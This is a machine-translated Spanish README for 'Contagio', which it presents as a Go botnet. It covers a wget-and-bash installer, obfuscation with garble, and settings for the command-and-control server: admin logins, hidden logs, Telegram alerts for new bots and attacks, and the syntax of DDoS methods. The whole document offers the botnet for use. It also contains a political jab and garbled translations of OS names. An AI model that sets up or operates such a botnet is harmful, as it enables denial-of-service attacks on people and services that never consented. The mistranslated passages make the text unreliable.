Versión cerrada de C++: https://github.com/TryZeroOne/Contagio-closed
Contagio es una botnet escrita en go. Esta es una versión beta por lo que puede haber errores. Lea las preguntas frecuentes y la documentación antes de crear un problema. No creas en la propaganda ucraniana.
Instalación
Sistemas soportados
Documentación
Preguntas frecuentes
Donaciones
Os | Estado |
---|---|
linux | |
ventanas | |
macos |
Distribuciones de Linux
distribución | Estado |
---|---|
Arco | |
Manjaro | |
sombrero | |
centos | |
ubuntu |
La información del sistema se puede encontrar en las fotos de la carpeta de activos.
Contagio tiene su propio instalador.
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
Argumentos:
limpio | Instala contagio sin configuraciones ni temas preinstalados. |
por defecto | Instala contagio con configuraciones y temas preinstalados. |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
luego siga los pasos de setup.txt
Guía de configuración próximamente...
Nombre | Tipo | Descripción |
---|---|---|
ImportTheme | Cadena | Importa un tema. Lea más sobre la personalización aquí. |
CncServer | Cadena | IP:PUERTO. Debes especificar una IP pública. Para obtener una IP pública, ingrese curl http://ip-api.com/json/?fields=query |
RootLogin | Cadena | Inicio de sesión que tiene acceso a los comandos de administración (addip, adduser, etc.). |
RELEASE_MODE | booleano | Oculta registros (nuevo bot conectado, contenedor enviado, etc.). |
TelegramBotToken | Cadena | Ficha de bot de Telegram. |
TelegramChatId | Cadena | Su ID de Telegram/ID de chat. Obtener identificación. |
SaveLogsInFile | booleano | ¿Guardar los registros en un archivo? |
SendLogsInTelegram | booleano | ¿Enviar registros a través del bot de Telegram a un canal o mensajes privados? |
PrintLogsInTerminal | booleano | ¿Imprimir registros en la terminal? |
NewClientConnectedLog | booleano | Habilite el registro para una nueva conexión al cnc. |
NewClientConnectedFileName | Cadena | Nombre de archivo para registros de nuevas conexiones. |
NewAttackStartedFileName | Cadena | Nombre de archivo para registros de nuevos ataques. |
AllowAllIps | booleano | ¿Permitir todas las direcciones IP? Si AllowAllIps = false, entonces solo las direcciones IP agregadas mediante el comando addip podrán conectarse al cnc. |
Los módulos personalizados solo se pueden utilizar en el Título. El resultado del eco se mostrará en el Título. Los módulos personalizados constan de:
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
Sólo es necesario especificar Exec. Si no se especifica ExecDir se ejecutará desde el directorio donde se inicia el CNC.
Puede utilizar un tema vacío o puede utilizar un tema existente. También puedes usar colores.
Nombre | Tipo | variables | Descripción |
---|---|---|---|
[Registros] | |||
NewClientConnectedTerminal | Cadena | {ip} {login} {port} {date} | El formato de registro en el terminal para una nueva conexión. |
NewClientConnectedTelegram | Cadena | {ip} {login} {port} {date} | El formato de registro en Telegram para una nueva conexión (puede usar Markdown). |
NewClientConnectedFile | Cadena | {ip} {login} {port} {date} | El formato de registro en un archivo para una nueva conexión. |
NewAttackStartedTerminal | Cadena | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | El formato de registro en la terminal para un nuevo ataque. |
NewAttackStartedTelegram | Cadena | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | El formato de registro en Telegram para un nuevo ataque. |
NewAttackStartedFile | Cadena | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | El formato de registro en un archivo para un nuevo ataque. |
[CNC] | |||
CmdPrompt | Cadena | {login} | Símbolo del sistema CNC. |
Banner | Cadena (matriz) | Null | Bandera. |
HelpCommand | Cadena | {command} {description} | Formato de salida del comando de ayuda. |
MethodsCommand | Cadena | {name} {description} | Formato de salida del comando de métodos. |
CustomMethodsEnabled | booleano | Null | ¿Habilitar métodos personalizados? |
CustomMethods | Cadena (matriz) | Null | Métodos personalizados (habilitados cuando CustomMethodsEnabled=true ). |
CustomHelpEnabled | booleano | Null | ¿Habilitar ayuda personalizada? |
CustomHelp | Cadena (matriz) | Null | Ayuda personalizada (habilitada cuando CustomHelpEnabled=true ). |
BotCount | Cadena | {total} {bots} | Formato de salida de comandos de bots. |
NoBotsConnectedError | Cadena | Null | Mensaje de error al ejecutar el comando "bots" pero no hay bots disponibles. |
CommandSent | Cadena | {bots} {id} | Salida cuando el ataque se envía con éxito. |
UnknownCommandError | Cadena | Null | Mensaje de error cuando el comando es desconocido. |
InvalidCommandSyntaxError | Cadena | {syntax} {example} | Mensaje de error cuando el comando (método ddos) tiene una sintaxis incorrecta. |
NoActiveAttacksError | Cadena | Null | Mensaje de error cuando no hay ataques activos (comando en ejecución). |
AttackIdNotFoundError | Cadena | Null | Mensaje de error cuando no se encuentra el ID del ataque (comando de eliminación). |
CommandExecuted | Cadena | Null | Resultado cuando el comando se ejecuta exitosamente. |
CommandInvalidSyntax | Cadena | {syntax} {example} | Mensaje de error cuando el comando tiene una sintaxis incorrecta. |
Title | Cadena | {login} {cpu} {memory} {animation} {bots} | Título CNC. |
[Autenticación] | |||
LoginPrompt | Cadena | Null | Solicitud de inicio de sesión. |
PasswordPrompt | Cadena | Null | Solicitud de contraseña. |
AuthError | Cadena | Null | Mensaje de error cuando la contraseña o el inicio de sesión son incorrectos. |
CaptchaPrompt | Cadena | {code} | Mensaje de captura de pantalla. |
CaptchaError | Cadena | Null | Mensaje de error cuando el captcha se ingresa incorrectamente. |
IpIsNotAllowedError | Cadena | Null | Mensaje de error cuando la IP no está permitida. |
En Contagio, hay colores integrados disponibles y también puedes crear los tuyos propios.
Los colores deben escribirse entre llaves. Por ejemplo,
CncPrompt = "{red}Hello{white} World: "
Para crear su propio color, debe utilizar colores ANSI. Por ejemplo:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
R: Intente agregar r al final de la línea. Por ejemplo
PasswordPrompt = "Enter password: r"
Si eso no funciona, crea un problema.
R: Envíe /newbot al bot @BotFather, luego responda sus preguntas y copie el token (ejemplo de token: 1234545:DDDDD__ASDADAHUQHHHI34I29I).
A: